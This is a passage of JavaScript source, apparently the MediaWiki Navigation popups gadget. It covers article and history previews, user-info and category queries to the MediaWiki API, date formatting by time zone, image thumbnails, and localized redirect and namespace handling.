if (!confirm('done stripLongTemplates(). Continue?\n---\n' + p.html)) {
return;
}
alert('finished preview - end result follows.\n---\n' + p.html);
}
/*eslint-enable */
/**
* Works around livepreview bugs.
*
* @private
*/
Previewmaker.prototype.fixHTML = function () {
if (!this.html) {
return;
}
let ret = this.html;
// fix question marks in wiki links
// maybe this'll break some stuff :-(
ret = ret.replace(
RegExp('(<a href="' + pg.wiki.articlePath + '/[^"]*)[?](.*?")', 'g'),
'$1%3F$2'
);
ret = ret.replace(
RegExp("(<a href='" + pg.wiki.articlePath + "/[^']*)[?](.*?')", 'g'),
'$1%3F$2'
);
// FIXME fix up % too
this.html = ret;
};
/**
* Generates the preview and displays it in the current popup.
*
* Does nothing if the generated preview is invalid or consists of whitespace only.
* Also activates wikilinks in the preview for subpopups if the popupSubpopups option is true.
*/
Previewmaker.prototype.showPreview = function () {
this.makePreview();
if (typeof this.html != typeof '') {
return;
}
if (/^\s*$/.test(this.html)) {
return;
}
setPopupHTML('<hr />', 'popupPrePreviewSep', this.owner.idNumber);
setPopupTipsAndHTML(this.html, 'popupPreview', this.owner.idNumber, {
owner: this.owner,
});
const more = this.fullLength > this.data.length ? this.moreLink() : '';
setPopupHTML(more, 'popupPreviewMore', this.owner.idNumber);
};
/**
* @private
*/
Previewmaker.prototype.moreLink = function () {
const a = document.createElement('a');
a.className = 'popupMoreLink';
a.innerHTML = popupString('more...');
const savedThis = this;
a.onclick = function () {
savedThis.maxCharacters += 2000;
savedThis.maxSentences += 20;
savedThis.setData();
savedThis.showPreview();
};
return a;
};
/**
* @private
*/
Previewmaker.prototype.stripLongTemplates = function () {
// operates on the HTML!
this.html = this.html.replace(
/^.{0,1000}[{][{][^}]*?(<(p|br)( \/)?>\s*){2,}([^{}]*?[}][}])?/gi,
''
);
this.html = this.html.split('\n').join(' '); // workaround for <pre> templates
this.html = this.html.replace(/[{][{][^}]*<pre>[^}]*[}][}]/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killMultilineTemplates = function () {
this.kill('{{{', '}}}');
this.kill(/\s*[{][{][^{}]*\n/, '}}', '{{');
};
// ENDFILE: previewmaker.js
// STARTFILE: querypreview.js
function loadAPIPreview(queryType, article, navpop) {
const art = new Title(article).urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
let htmlGenerator = function (/*a, d*/) {
alert('invalid html generator');
};
let usernameart = '';
switch (queryType) {
case 'history':
url +=
'titles=' + art + '&prop=revisions&rvlimit=' + getValueOf('popupHistoryPreviewLimit');
htmlGenerator = APIhistoryPreviewHTML;
break;
case 'category':
url += 'list=categorymembers&cmtitle=' + art;
htmlGenerator = APIcategoryPreviewHTML;
break;
case 'userinfo':
var username = new Title(article).userName();
usernameart = encodeURIComponent(username);
if (pg.re.ipUser.test(username)) {
url += 'list=blocks&bkprop=range|restrictions&bkip=' + usernameart;
} else {
url +=
'list=users|usercontribs&usprop=blockinfo|groups|editcount|registration|gender&ususers=' +
usernameart +
'&meta=globaluserinfo&guiprop=groups|unattached&guiuser=' +
usernameart +
'&uclimit=1&ucprop=timestamp&ucuser=' +
usernameart;
}
htmlGenerator = APIuserInfoPreviewHTML;
break;
case 'contribs':
usernameart = encodeURIComponent(new Title(article).userName());
url +=
'list=usercontribs&ucuser=' +
usernameart +
'&uclimit=' +
getValueOf('popupContribsPreviewLimit');
htmlGenerator = APIcontribsPreviewHTML;
break;
case 'imagepagepreview':
var trail = '';
if (getValueOf('popupImageLinks')) {
trail = '&list=imageusage&iutitle=' + art;
}
url += 'titles=' + art + '&prop=revisions|imageinfo&rvslots=main&rvprop=content' + trail;
htmlGenerator = APIimagepagePreviewHTML;
break;
case 'backlinks':
url += 'list=backlinks&bltitle=' + art;
htmlGenerator = APIbacklinksPreviewHTML;
break;
case 'revision':
if (article.oldid) {
url += 'revids=' + article.oldid;
} else {
url += 'titles=' + article.removeAnchor().urlString();
}
url +=
'&prop=revisions|pageprops|info|images|categories&meta=wikibase&rvslots=main&rvprop=ids|timestamp|flags|comment|user|content&cllimit=max&imlimit=max';
htmlGenerator = APIrevisionPreviewHTML;
break;
}
pendingNavpopTask(navpop);
const callback = function (d) {
log('callback of API functions was hit');
if (queryType === 'userinfo') {
// We need to do another API request
fetchUserGroupNames(d.data).then(() => {
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
});
return;
}
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_' + queryType + '_QUERY_DATA');
}
}
function linkList(list) {
list.sort((x, y) => x == y ? 0 : x < y ? -1 : 1);
const buf = [];
for (let i = 0; i < list.length; ++i) {
buf.push(
wikiLink({
article: new Title(list[i]),
text: list[i].split(' ').join(' '),
action: 'view',
})
);
}
return buf.join(', ');
}
function getTimeOffset() {
const tz = mw.user.options.get('timecorrection');
if (tz) {
if (tz.indexOf('|') > -1) {
// New format
return parseInt(tz.split('|')[1], 10);
}
}
return 0;
}
function getTimeZone() {
if (!pg.user.timeZone) {
const tz = mw.user.options.get('timecorrection');
pg.user.timeZone = 'UTC';
if (tz) {
const tzComponents = tz.split('|');
if (tzComponents.length === 3 && tzComponents[0] === 'ZoneInfo') {
pg.user.timeZone = tzComponents[2];
} else {
errlog('Unexpected timezone information: ' + tz);
}
}
}
return pg.user.timeZone;
}
/**
* Should we use an offset or can we use proper timezones
*/
function useTimeOffset() {
if (typeof Intl.DateTimeFormat.prototype.formatToParts === 'undefined') {
// IE 11
return true;
}
const tz = mw.user.options.get('timecorrection');
if (tz && tz.indexOf('ZoneInfo|') === -1) {
// System| Default system time, default for users who didn't configure timezone
// Offset| Manual defined offset by user
return true;
}
return false;
}
/**
* Array of locales for the purpose of javascript locale based formatting
* Filters down to those supported by the browser. Empty [] === System's default locale
*/
function getLocales() {
if (!pg.user.locales) {
let userLanguage = document.querySelector('html').getAttribute('lang'); // make sure we have HTML locale
if (getValueOf('popupLocale')) {
userLanguage = getValueOf('popupLocale');
} else if (userLanguage === 'en') {
// en.wp tends to treat this as international english / unspecified
// but we have more specific settings in user options
if (getMWDateFormat() === 'mdy') {
userLanguage = 'en-US';
} else {
userLanguage = 'en-GB';
}
}
pg.user.locales = Intl.DateTimeFormat.supportedLocalesOf([userLanguage, navigator.language]);
}
return pg.user.locales;
}
/**
* Retrieve configured MW date format for this user
* These can be
* default
* dmy: time, dmy
* mdy: time, mdy
* ymd: time, ymd
* dmyt: dmy, time
* dmyts: dmy, time + seconds
* ISO 8601: YYYY-MM-DDThh:mm:ss (local time)
*
* This isn't too useful for us, as JS doesn't have formatters to match these private specifiers
*/
function getMWDateFormat() {
return mw.user.options.get('date');
}
/**
* Creates a HTML table that's shown in the history and user-contribs popups.
*
* @param {Object[]} h - a list of revisions, returned from the API
* @param {boolean} reallyContribs - true only if we're displaying user contributions
*/
function editPreviewTable(article, h, reallyContribs) {
let html = ['<table>'];
let day = null;
let curart = article;
let page = null;
let makeFirstColumnLinks;
if (reallyContribs) {
// We're showing user contributions, so make (diff | hist) links
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&diff=prev' +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('diff') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&action=history">' +
popupString('hist') +
'</a>';
result += ')';
return result;
};
} else {
// It's a regular history page, so make (cur | last) links
const firstRevid = h[0].revid;
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=' +
firstRevid +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('cur') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=prev&oldid=' +
currentRevision.revid +
'">' +
popupString('last') +
'</a>';
result += ')';
return result;
};
}
for (let i = 0; i < h.length; ++i) {
if (reallyContribs) {
page = h[i].title;
curart = new Title(page);
}
const minor = h[i].minor ? '<b>m </b>' : '';
const editDate = new Date(h[i].timestamp);
let thisDay = formattedDate(editDate);
const thisTime = formattedTime(editDate);
if (thisDay == day) {
thisDay = '';
} else {
day = thisDay;
}
if (thisDay) {
html.push(
'<tr><td colspan=3><span class="popup_history_date">' + thisDay + '</span></td></tr>'
);
}
html.push('<tr class="popup_history_row_' + (i % 2 ? 'odd' : 'even') + '">');
html.push('<td>' + makeFirstColumnLinks(h[i]) + '</td>');
html.push(
'<td>' +
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&oldid=' +
h[i].revid +
'">' +
thisTime +
'</a></td>'
);
let col3url = '',
col3txt = '';
if (!reallyContribs) {
const user = h[i].user;
if (!h[i].userhidden) {
if (pg.re.ipUser.test(user)) {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':Contributions&target=' +
new Title(user).urlString();
} else {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(user).urlString();
}
col3txt = pg.escapeQuotesHTML(user);
} else {
col3url = getValueOf('popupRevDelUrl');
col3txt = pg.escapeQuotesHTML(popupString('revdel'));
}
} else {
col3url = pg.wiki.titlebase + curart.urlString();
col3txt = pg.escapeQuotesHTML(page);
}
html.push(
'<td>' +
(reallyContribs ? minor : '') +
'<a href="' +
col3url +
'">' +
col3txt +
'</a></td>'
);
let comment = '';
const c = h[i].comment || ( typeof h[i].slots !== 'undefined' ? h[i].slots.main.content : null );
if (c) {
comment = new Previewmaker(c, new Title(curart).toUrl()).editSummaryPreview();
} else if (h[i].commenthidden) {
comment = popupString('revdel');
}
html.push('<td>' + (!reallyContribs ? minor : '') + comment + '</td>');
html.push('</tr>');
html = [html.join('')];
}
html.push('</table>');
return html.join('');
}
function adjustDate(d, offset) {
// offset is in minutes
const o = offset * 60 * 1000;
return new Date(Number(d) + o);
}
/**
* This relies on the Date parser understanding en-US dates,
* which is pretty safe assumption, but not perfect.
*/
function convertTimeZone(date, timeZone) {
return new Date(date.toLocaleString('en-US', { timeZone: timeZone }));
}
function formattedDateTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
return formattedDate(date) + ' ' + formattedTime(date);
}
if (getMWDateFormat() === 'ISO 8601') {
const d2 = convertTimeZone(date, getTimeZone());
return (
map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-') +
'T' +
map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':')
);
}
const options = getValueOf('popupDateTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleString(getLocales(), options);
}
function formattedDate(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCFullYear(), d2.getUTCMonth() + 1, d2.getUTCDate()]).join('-');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-');
}
const options = getValueOf('popupDateFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleDateString(getLocales(), options);
}
function formattedTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCHours(), d2.getUTCMinutes(), d2.getUTCSeconds()]).join(':');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':');
}
const options = getValueOf('popupTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleTimeString(getLocales(), options);
}
// Get the proper groupnames for the technicalgroups
function fetchUserGroupNames(userinfoResponse) {
const queryObj = getJsObj(userinfoResponse).query;
const user = anyChild(queryObj.users);
const messages = [];
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
messages.push('group-' + groupName + '-member');
}
});
}
if (queryObj.globaluserinfo && queryObj.globaluserinfo.groups) {
queryObj.globaluserinfo.groups.forEach((groupName) => {
messages.push('group-' + groupName + '-member');
});
}
return getMwApi().loadMessagesIfMissing(messages);
}
function showAPIPreview(queryType, html, id, navpop, download) {
// DJ: done
let target = 'popupPreview';
completedNavpopTask(navpop);
switch (queryType) {
case 'imagelinks':
case 'category':
target = 'popupPostPreview';
break;
case 'userinfo':
target = 'popupUserData';
break;
case 'revision':
insertPreview(download);
return;
}
setPopupTipsAndHTML(html, target, id);
}
function APIrevisionPreviewHTML(article, download) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
if (page.missing) {
// TODO we need to fix this proper later on
download.owner = null;
return;
}
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (typeof content === 'string') {
download.data = content;
download.lastModified = new Date(page.revisions[0].timestamp);
}
if (page.pageprops.wikibase_item) {
download.wikibaseItem = page.pageprops.wikibase_item;
download.wikibaseRepo = jsObj.query.wikibase.repo.url.base +
jsObj.query.wikibase.repo.url.articlepath;
}
} catch (someError) {
return 'Revision preview failed :(';
}
}
function APIbacklinksPreviewHTML(article, download /*, navpop*/) {
try {
const jsObj = getJsObj(download.data);
const list = jsObj.query.backlinks;
let html = [];
if (!list) {
return popupString('No backlinks found');
}
for (let i = 0; i < list.length; i++) {
const t = new Title(list[i].title);
html.push(
'<a href="' + pg.wiki.titlebase + t.urlString() + '">' + t.toString().entify() + '</a>'
);
}
html = html.join(', ');
if (jsObj.continue && jsObj.continue.blcontinue) {
html += popupString(' and more');
}
return html;
} catch (someError) {
return 'backlinksPreviewHTML went wonky';
}
}
pg.fn.APIsharedImagePagePreviewHTML = function APIsharedImagePagePreviewHTML(obj) {
log('APIsharedImagePagePreviewHTML');
const popupid = obj.requestid;
if (obj.query && obj.query.pages) {
const page = anyChild(obj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (
typeof content === 'string' &&
pg &&
pg.current &&
pg.current.link &&
pg.current.link.navpopup
) {
/* Not entirely safe, but the best we can do */
const p = new Previewmaker(
content,
pg.current.link.navpopup.article,
pg.current.link.navpopup
);
p.makePreview();
setPopupHTML(p.html, 'popupSecondPreview', popupid);
}
}
};
function APIimagepagePreviewHTML(article, download, navpop) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
let ret = '';
let alt = '';
try {
alt = navpop.parentAnchor.childNodes[0].alt;
} catch (e) {}
if (alt) {
ret = ret + '<hr /><b>' + popupString('Alt text:') + '</b> ' + pg.escapeQuotesHTML(alt);
}
if (typeof content === 'string') {
const p = prepPreviewmaker(content, article, navpop);
p.makePreview();
if (p.html) {
ret += '<hr />' + p.html;
}
if (getValueOf('popupSummaryData')) {
const info = getPageInfo(content, download);
log(info);
setPopupTrailer(info, navpop.idNumber);
}
}
if (page && page.imagerepository == 'shared') {
const art = new Title(article);
const encart = encodeURIComponent('File:' + art.stripNamespace());
const shared_url =
pg.wiki.apicommonsbase +
'?format=json&formatversion=2' +
'&callback=pg.fn.APIsharedImagePagePreviewHTML' +
'&requestid=' +
navpop.idNumber +
'&action=query&prop=revisions&rvslots=main&rvprop=content&titles=' +
encart;
ret =
ret +
'<hr />' +
popupString('Image from Commons') +
': <a href="' +
pg.wiki.commonsbase +
'?title=' +
encart +
'">' +
popupString('Description page') +
'</a>';
mw.loader.load(shared_url);
}
showAPIPreview(
'imagelinks',
APIimagelinksPreviewHTML(article, download),
navpop.idNumber,
download
);
return ret;
} catch (someError) {
return 'API imagepage preview failed :(';
}
}
function APIimagelinksPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.imageusage;
if (list) {
const ret = [];
for (let i = 0; i < list.length; i++) {
ret.push(list[i].title);
}
if (ret.length === 0) {
return popupString('No image links found');
}
return '<h2>' + popupString('File links') + '</h2>' + linkList(ret);
} else {
return popupString('No image links found');
}
} catch (someError) {
return 'Image links preview generation failed :(';
}
}
function APIcategoryPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.categorymembers;
let ret = [];
for (let p = 0; p < list.length; p++) {
ret.push(list[p].title);
}
if (ret.length === 0) {
return popupString('Empty category');
}
ret = '<h2>' + tprintf('Category members (%s shown)', [ret.length]) + '</h2>' + linkList(ret);
if (jsobj.continue && jsobj.continue.cmcontinue) {
ret += popupString(' and more');
}
return ret;
} catch (someError) {
return 'Category preview failed :(';
}
}
function APIuserInfoPreviewHTML(article, download) {
let ret = [];
let queryobj = {};
try {
queryobj = getJsObj(download.data).query;
} catch (someError) {
return 'Userinfo preview failed :(';
}
const user = anyChild(queryobj.users);
if (user) {
const globaluserinfo = queryobj.globaluserinfo;
if (user.invalid === '') {
ret.push(popupString('Invalid user'));
} else if (user.missing === '') {
ret.push(popupString('Not a registered username'));
}
if (user.blockedby) {
if (user.blockpartial) {
ret.push('<b>' + popupString('Has blocks') + '</b>');
} else {
ret.push('<b>' + popupString('BLOCKED') + '</b>');
}
}
if (globaluserinfo && ('locked' in globaluserinfo || 'hidden' in globaluserinfo)) {
let lockedSulAccountIsAttachedToThis = true;
for (let i = 0; globaluserinfo.unattached && i < globaluserinfo.unattached.length; i++) {
if (globaluserinfo.unattached[i].wiki === mw.config.get('wgDBname')) {
lockedSulAccountIsAttachedToThis = false;
break;
}
}
if (lockedSulAccountIsAttachedToThis) {
if ('locked' in globaluserinfo) {
ret.push('<b><i>' + popupString('LOCKED') + '</i></b>');
}
if ('hidden' in globaluserinfo) {
ret.push('<b><i>' + popupString('HIDDEN') + '</i></b>');
}
}
}
if (getValueOf('popupShowGender') && user.gender) {
switch (user.gender) {
case 'male':
ret.push(popupString('he/him') + ' · ');
break;
case 'female':
ret.push(popupString('she/her') + ' · ');
break;
}
}
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
ret.push(
pg.escapeQuotesHTML(mw.message('group-' + groupName + '-member', user.gender).text())
);
}
});
}
if (globaluserinfo && globaluserinfo.groups) {
globaluserinfo.groups.forEach((groupName) => {
ret.push(
'<i>' +
pg.escapeQuotesHTML(
mw.message('group-' + groupName + '-member', user.gender).text()
) +
'</i>'
);
});
}
if (user.registration) {
ret.push(
pg.escapeQuotesHTML(
(user.editcount ? user.editcount : '0') +
popupString(' edits since: ') +
(user.registration ? formattedDate(new Date(user.registration)) : '')
)
);
}
}
if (queryobj.usercontribs && queryobj.usercontribs.length) {
ret.push(
popupString('last edit on ') + formattedDate(new Date(queryobj.usercontribs[0].timestamp))
);
}
if (queryobj.blocks) {
ret.push(popupString('IP user')); //we only request list=blocks for IPs
for (let l = 0; l < queryobj.blocks.length; l++) {
let rbstr =
queryobj.blocks[l].rangestart === queryobj.blocks[l].rangeend ? 'BLOCK' : 'RANGEBLOCK';
rbstr = !Array.isArray(queryobj.blocks[l].restrictions) ?
'Has ' + rbstr.toLowerCase() + 's' :
rbstr + 'ED';
ret.push('<b>' + popupString(rbstr) + '</b>');
}
}
// if any element of ret ends with ' · ', merge it with the next element to avoid
// the .join(', ') call inserting a comma after it
for (let m = 0; m < ret.length - 1; m++) {
if (ret[m].length > 3 && ret[m].substring(ret[m].length - 3) === ' · ') {
ret[m] = ret[m] + ret[m + 1];
ret.splice(m + 1, 1); // delete element at index m+1
m--;
}
}
ret = '<hr />' + ret.join(', ');
return ret;
}
function APIcontribsPreviewHTML(article, download, navpop) {
return APIhistoryPreviewHTML(article, download, navpop, true);
}
function APIhistoryPreviewHTML(article, download, navpop, reallyContribs) {
try {
const jsobj = getJsObj(download.data);
let edits = [];
if (reallyContribs) {
edits = jsobj.query.usercontribs;
} else {
edits = anyChild(jsobj.query.pages).revisions;
}
const ret = editPreviewTable(article, edits, reallyContribs);
return ret;
} catch (someError) {
return popupString('History preview failed');
}
}
// ENDFILE: querypreview.js
// STARTFILE: debug.js
////////////////////////////////////////////////////////////////////
// Debugging functions
////////////////////////////////////////////////////////////////////
function setupDebugging() {
if (window.popupDebug) {
// popupDebug is set from .version
window.log = function (x) {
//if(gMsg!='')gMsg += '\n'; gMsg+=time() + ' ' + x; };
window.console.log(x);
};
window.errlog = function (x) {
window.console.error(x);
};
log('Initializing logger');
} else {
window.log = function () {};
window.errlog = function () {};
}
}
// ENDFILE: debug.js
// STARTFILE: images.js
// load image of type Title.
function loadImage(image, navpop) {
if (typeof image.stripNamespace != 'function') {
alert('loadImages bad');
}
// API call to retrieve image info.
if (!getValueOf('popupImages')) {
return;
}
if (!isValidImageName(image)) {
return false;
}
const art = image.urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query';
url += '&prop=imageinfo&iiprop=url|mime&iiurlwidth=' + getValueOf('popupImageSizeLarge');
url += '&titles=' + art;
pendingNavpopTask(navpop);
const callback = function (d) {
popupsInsertImage(navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'after', 'DOWNLOAD_IMAGE_QUERY_DATA');
}
}
function popupsInsertImage(id, navpop, download) {
log('popupsInsertImage');
let imageinfo;
try {
const jsObj = getJsObj(download.data);
const imagepage = anyChild(jsObj.query.pages);
if (typeof imagepage.imageinfo === 'undefined') {
return;
}
imageinfo = imagepage.imageinfo[0];
} catch (someError) {
log('popupsInsertImage failed :(');
return;
}
const popupImage = document.getElementById('popupImg' + id);
if (!popupImage) {
log('could not find insertion point for image');
return;
}
popupImage.width = getValueOf('popupImageSize');
popupImage.style.display = 'inline';
// Set the source for the image.
if (imageinfo.thumburl) {
popupImage.src = imageinfo.thumburl;
} else if (imageinfo.mime.indexOf('image') === 0) {
popupImage.src = imageinfo.url;
log('a thumb could not be found, using original image');
} else {
log("fullsize imagethumb, but not sure if it's an image");
}
const a = document.getElementById('popupImageLink' + id);
if (a === null) {
return null;
}
// Determine the action of the surrouding imagelink.
switch (getValueOf('popupThumbAction')) {
case 'imagepage':
if (pg.current.article.namespaceId() != pg.nsImageId) {
a.href = imageinfo.descriptionurl;
// FIXME: unreliable pg.idNumber
popTipsSoonFn('popupImage' + id)();
break;
}
/* falls through */
case 'sizetoggle':
a.onclick = toggleSize;
a.title = popupString('Toggle image size');
return;
case 'linkfull':
a.href = imageinfo.url;
a.title = popupString('Open full-size image');
return;
}
}
// Toggles the image between inline small and navpop fullwidth.
// It's the same image, no actual sizechange occurs, only display width.
function toggleSize() {
const imgContainer = this;
if (!imgContainer) {
alert('imgContainer is null :/');
return;
}
const img = imgContainer.firstChild;
if (!img) {
alert('img is null :/');
return;
}
if (!img.style.width || img.style.width === '') {
img.style.width = '100%';
} else {
img.style.width = '';
}
}
// Returns one title of an image from wikiText.
function getValidImageFromWikiText(wikiText) {
// nb in pg.re.image we're interested in the second bracketed expression
// this may change if the regex changes :-(
//var match=pg.re.image.exec(wikiText);
let matched = null;
let match;
// strip html comments, used by evil bots :-(
const t = removeMatchesUnless(
wikiText,
/(<!--[\s\S]*?-->)/,
1,
/^<!--[^[]*popup/i
);
while ((match = pg.re.image.exec(t))) {
// now find a sane image name - exclude templates by seeking {
const m = match[2] || match[6];
if (isValidImageName(m)) {
matched = m;
break;
}
}
pg.re.image.lastIndex = 0;
if (!matched) {
return null;
}
return mw.config.get('wgFormattedNamespaces')[pg.nsImageId] + ':' + upcaseFirst(matched);
}
function removeMatchesUnless(str, re1, parencount, re2) {
const split = str.parenSplit(re1);
const c = parencount + 1;
for (let i = 0; i < split.length; ++i) {
if (i % c === 0 || re2.test(split[i])) {
continue;
}
split[i] = '';
}
return split.join('');
}
// ENDFILE: images.js
// STARTFILE: namespaces.js
// Set up namespaces and other non-strings.js localization
// (currently that means redirs too)
function setNamespaces() {
pg.nsSpecialId = -1;
pg.nsMainspaceId = 0;
pg.nsImageId = 6;
pg.nsUserId = 2;
pg.nsUsertalkId = 3;
pg.nsCategoryId = 14;
pg.nsTemplateId = 10;
}
function setRedirs() {
const r = 'redirect';
const R = 'REDIRECT';
const redirLists = {
ar: [R, 'تحويل'],
be: [r, 'перанакіраваньне'],
bg: [r, 'пренасочване', 'виж'],
bs: [r, 'Preusmjeri', 'preusmjeri', 'PREUSMJERI'],
bn: [R, 'পুনর্নির্দেশ'],
cs: [R, 'PŘESMĚRUJ'],
cy: [r, 'ail-cyfeirio'],
de: [R, 'WEITERLEITUNG'],
el: [R, 'ΑΝΑΚΑΤΕΥΘΥΝΣΗ'],
eo: [R, 'ALIDIREKTU', 'ALIDIREKTI'],
es: [R, 'REDIRECCIÓN'],
et: [r, 'suuna'],
ga: [r, 'athsheoladh'],
gl: [r, 'REDIRECCIÓN', 'REDIRECIONAMENTO'],
he: [R, 'הפניה'],
hu: [R, 'ÁTIRÁNYÍTÁS'],
is: [r, 'tilvísun', 'TILVÍSUN'],
it: [R, 'RINVIA', 'Rinvia'],
ja: [R, '転送'],
mk: [r, 'пренасочување', 'види'],
nds: [r, 'wiederleiden'],
'nds-nl': [R, 'DEURVERWIEZING', 'DUURVERWIEZING'],
nl: [R, 'DOORVERWIJZING'],
nn: [r, 'omdiriger'],
pl: [R, 'PATRZ', 'PRZEKIERUJ', 'TAM'],
pt: [R, 'redir'],
ru: [R, 'ПЕРЕНАПРАВЛЕНИЕ', 'ПЕРЕНАПР'],
sk: [r, 'presmeruj'],
sr: [r, 'Преусмери', 'преусмери', 'ПРЕУСМЕРИ', 'Preusmeri', 'preusmeri', 'PREUSMERI'],
tr: [R, 'YÖNLENDİRME', 'yönlendirme', 'YÖNLENDİR', 'yönlendir'],
tt: [R, 'yünältü', 'перенаправление', 'перенапр'],
uk: [R, 'ПЕРЕНАПРАВЛЕННЯ', 'ПЕРЕНАПР'],
vi: [r, 'đổi'],
yi: [R, 'ווייטערפירן'],
zh: [R, '重定向'], // no comma
};
const redirList = redirLists[pg.wiki.lang] || [r, R];
// Mediawiki is very tolerant about what comes after the #redirect at the start
pg.re.redirect = RegExp(
'^\\s*[#](' + redirList.join('|') + ').*?\\[{2}([^\\|\\]]*)(|[^\\]]*)?\\]{2}\\s*(.*)',
'i'
);
}
function setInterwiki() {
if (pg.wiki.wikimedia) {
// From https://meta.wikimedia.org/wiki/List_of_Wikipedias
//en.wikipedia.org/w/api.php?action=sitematrix&format=json&smtype=language&smlangprop=code&formatversion=2
pg.wiki.interwiki =
'aa|ab|ace|af|ak|als|am|an|ang|ar|arc|arz|as|ast|av|ay|az|ba|bar|bat-smg|bcl|be|be-x-old|bg|bh|bi|bjn|bm|bn|bo|bpy|br|bs|bug|bxr|ca|cbk-zam|cdo|ce|ceb|ch|cho|chr|chy|ckb|co|cr|crh|cs|csb|cu|cv|cy|da|de|diq|dsb|dv|dz|ee|el|eml|en|eo|es|et|eu|ext|fa|ff|fi|fiu-vro|fj|fo|fr|frp|frr|fur|fy|ga|gag|gan|gd|gl|glk|gn|got|gu|gv|ha|hak|haw|he|hi|hif|ho|hr|hsb|ht|hu|hy|hz|ia|id|ie|ig|ii|ik|ilo|io|is|it|iu|ja|jbo|jv|ka|kaa|kab|kbd|kg|ki|kj|kk|kl|km|kn|ko|koi|kr|krc|ks|ksh|ku|kv|kw|ky|la|lad|lb|lbe|lg|li|lij|lmo|ln|lo|lt|ltg|lv|map-bms|mdf|mg|mh|mhr|mi|mk|ml|mn|mo|mr|mrj|ms|mt|mus|mwl|my|myv|mzn|na|nah|nap|nds|nds-nl|ne|new|ng|nl|nn|no|nov|nrm|nv|ny|oc|om|or|os|pa|pag|pam|pap|pcd|pdc|pfl|pi|pih|pl|pms|pnb|pnt|ps|pt|qu|rm|rmy|rn|ro|roa-rup|roa-tara|ru|rue|rw|sa|sah|sc|scn|sco|sd|se|sg|sh|si|simple|sk|sl|sm|sn|so|sq|sr|srn|ss|st|stq|su|sv|sw|szl|ta|te|tet|tg|th|ti|tk|tl|tn|to|tpi|tr|ts|tt|tum|tw|ty|udm|ug|uk|ur|uz|ve|vec|vi|vls|vo|wa|war|wo|wuu|xal|xh|yi|yo|za|zea|zh|zh-classical|zh-min-nan|zh-yue|zu';
pg.re.interwiki = RegExp('^' + pg.wiki.interwiki + ':');
} else {
pg.wiki.interwiki = null;
pg.re.interwiki = /^$/;
}
}
// return a regexp pattern matching all variants to write the given namespace
function nsRe(namespaceId) {
const imageNamespaceVariants = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != namespaceId) {
return;
}
_localizedNamespaceLc = upcaseFirst(_localizedNamespaceLc);
imageNamespaceVariants.push(
mw.util.escapeRegExp(_localizedNamespaceLc).split(' ').join('[ _]')
);
